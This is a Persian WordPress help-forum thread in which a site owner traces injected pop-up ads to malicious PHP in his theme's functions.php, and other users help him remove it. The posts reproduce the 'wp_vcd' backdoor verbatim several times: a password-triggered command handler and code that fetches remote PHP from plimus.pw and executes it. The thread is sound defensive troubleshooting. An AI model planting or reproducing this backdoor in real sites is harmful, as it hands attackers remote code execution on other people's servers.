zakeri 0 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 سلام من امروز با مشکلی رو به رو شدم که کد های پاپ اپ به صورت خودکار به سایت اضافه شدن بدون اینکه من قرار بدم ... برسی که کردم این کد ها داخل قالب نیستند که بخوام حذف کنم . حالا نمیدونم از کجا اومدن که بخوام حذف کنم ! از طرفی پلاگین جدید هم نصب نکردم که از اون طریق اضافه بشن .این کدها هستن <script type="text/javascript" src="//go.oclaserver.com/apu.php?zoneid=1439974"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1439979&interactive=1&pushup=1"></script>شما برای رفع این مشکل راه حلی دارین ؟! http://barato.ir/ نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 باسلام دوست عزیز میشه لطفا محتویات فایل function.php خودتون رو ارسال کنید! نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در 3 دقیقه قبل، samirhm گفته است : باسلام دوست عزیز میشه لطفا محتویات فایل function.php خودتون رو ارسال کنید! مشکل از اون نیست چون هیچ تغییری نداشته فایل بدون ویرایش با فایل موجود با هم یکسان هستند ! نقل قول لینک به ارسال
mehran-b 2385 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 سلام و درود شما یه کاری کن. توی روت وردپرست یعنی همونجایی که wp-load.php هست یه فایل php بساز به اسم مثلا info.php بعد توش این کدها رو بذار. <?php include('wp-load.php'); global $wp_filter; echo '<pre>'; var_dump($wp_filter['wp_footer']); echo '</pre>'; بعد اطلاع بده یه نگاهی به نتیجه این فایلی که ساختی بندازم. نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در 54 دقیقه قبل، mehran-b گفته است : سلام و درود شما یه کاری کن. توی روت وردپرست یعنی همونجایی که wp-load.php هست یه فایل php بساز به اسم مثلا info.php بعد توش این کدها رو بذار. <?php include('wp-load.php'); global $wp_filter; echo '<pre>'; var_dump($wp_filter['wp_footer']); echo '</pre>'; بعد اطلاع بده یه نگاهی به نتیجه این فایلی که ساختی بندازم. ایجاد کردم نقل قول لینک به ارسال
mehran-b 2385 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 در 7 دقیقه قبل، zakeri گفته است : ایجاد کردم والا چیز مشکوکی اینجا نیست. در حالی که اگر اون کد ها مستقیم توی footer.php نباشه حتما توسط wp_footer داره پرینت میشه. ولی عجیبه چیز مشکوکی نیست. نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در هم اکنون، mehran-b گفته است : والا چیز مشکوکی اینجا نیست. در حالی که اگر اون کد ها مستقیم توی footer.php نباشه حتما توسط wp_footer داره پرینت میشه. ولی عجیبه چیز مشکوکی نیست. عجب حالا چه کنیم :||||||| نقل قول لینک به ارسال
mehran-b 2385 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 در هم اکنون، zakeri گفته است : عجب حالا چه کنیم :||||||| اون کدهایی که میگید الان توی کدوم صفحه از سایت هست؟ همیشه هست یا گه گاه هست؟ نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در هم اکنون، mehran-b گفته است : اون کدهایی که میگید الان توی کدوم صفحه از سایت هست؟ همیشه هست یا گه گاه هست؟ گه گاهی تو همه صفحهات هست دقیقا پایین مطلب اضافه میشه داخل صفحه اصلی میره داخل فوتر اخه چطور ممکنه یهو این مشکل ایجاد بشه دیروز سالم بود منم سر کار بودم تا ظهری که اومدم این مشکلو داشت .... نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 در ۱ ساعت قبل، zakeri گفته است : مشکل از اون نیست چون هیچ تغییری نداشته فایل بدون ویرایش با فایل موجود با هم یکسان هستند ! مطمئنید ؟ خب کاشکی بازم میفرستادید فایل یا کدش رو ! نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در هم اکنون، samirhm گفته است : مطمئنید ؟ خب کاشکی بازم میفرستادید فایل یا کدش رو ! اره با نسخه بکاپ قالب چک کردم همونه نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 (ویرایش شده) <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'cf75//////8de98')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code1\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } if ( ! function_exists( 'theme_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path)) { function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(theme_temp_setup($tmpcontent)); } } } ?> دوستان ای چی چی هست چه کاری انجام میده ؟ خطرناک نباشه :| احتمالا مشکل از این بوده ویرایش شده آبان 96 توسط zakeri نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 در 6 دقیقه قبل، zakeri گفته است : if ( ! function_exists( 'theme_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path)) { function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(theme_temp_setup($tmpcontent)); } } } دوست عزیز اگر این قطعه کد از فایل function.php هست، اون رو حذف کنید و سیو کنید، دوباره وارد صفحه ای که مشکل داره بشید و دکمه های CTRL+F5 رو چند بار فشار بدید و ببنید درست میشه یا نه!(ابتدا از فایل یک بکاپ بگیرید تا اگر مشکلی از این قطعه کد نبود دوباره بتونید درستش کنید !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!) نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 دقت کنید که فقط قطعه کد پایین رو حذف کنید نه همش رو !: if ( ! function_exists( 'theme_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path)) { function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(theme_temp_setup($tmpcontent)); } } } نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در 2 دقیقه قبل، samirhm گفته است : دقت کنید که فقط قطعه کد پایین رو حذف کنید نه همش رو !: if ( ! function_exists( 'theme_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.plimus.pw/code1.php?i=".$path)) { function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(theme_temp_setup($tmpcontent)); } } } همش اضافه شده ... این تمام کدهای اون قسمت نیست اینا اضافه شدن من با بکاپ روی هاست چک میکردم جالبه کل بکاپ ها رو ویرایش کرده اینو اضافه کرده با فایل داخل سیستم چک کردم متوجه شدم ولی بازم چک کردم تبلیغه هنوز هست شاید به خاطر کش بوده حالا باز چک کنم ببینم چی میشه نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 اگر همش اضافه شده پس همش رو از تمامی فایل هایی که اضافه کرده پاک کنید و کش رو پاک کنید ببیند درست میشه یا نه !(حتما قبلا از تمام فایل هایی که ویرایش میکنید بکاپ بگیرید !!!!!!!!!!!!!) 1 نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 دوست عزیز اگر مشکلتون حل شد اعلام کنید تا دوستان هم اگر مشکلی هم سان شما داشتند، کارشون راه بیفته نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در 12 دقیقه قبل، samirhm گفته است : اگر همش اضافه شده پس همش رو از تمامی فایل هایی که اضافه کرده پاک کنید و کش رو پاک کنید ببیند درست میشه یا نه !(حتما قبلا از تمام فایل هایی که ویرایش میکنید بکاپ بگیرید !!!!!!!!!!!!!) آندرستند ممنون از کمکی که کردین حتی دو گیگ کل سایتو دانلود کردم ولی هیچی نیافتم :/ نقل قول لینک به ارسال
samirhm 58 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 بنده الان وبسایت شما رو دوباره نگاه کردم ، کد های مخرب وجود نداشت، مشکلتون حل شده ؟ نقل قول لینک به ارسال
zakeri 0 ارسال شده در آبان 96 مالک گزارش بازنشر ارسال شده در آبان 96 در 1 دقیقه قبل، samirhm گفته است : بنده الان وبسایت شما رو دوباره نگاه کردم ، کد های مخرب وجود نداشت، مشکلتون حل شده ؟ ظاهرا مشکل از همون کد بوده فعلا که رفع شده چون من با همه مواردی که داشتم تست کردم موبایل vps و ... حالا شاید اینا کش شدن ... نقل قول لینک به ارسال
MrMohammad 29 ارسال شده در آبان 96 گزارش بازنشر ارسال شده در آبان 96 (ویرایش شده) سلام آقا برا منم همچین مشکلی پیش اومده :| Manotomovie.ir میشه یه بررسی کنید :/ ویرایش شده آبان 96 توسط MrMohammad :( نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .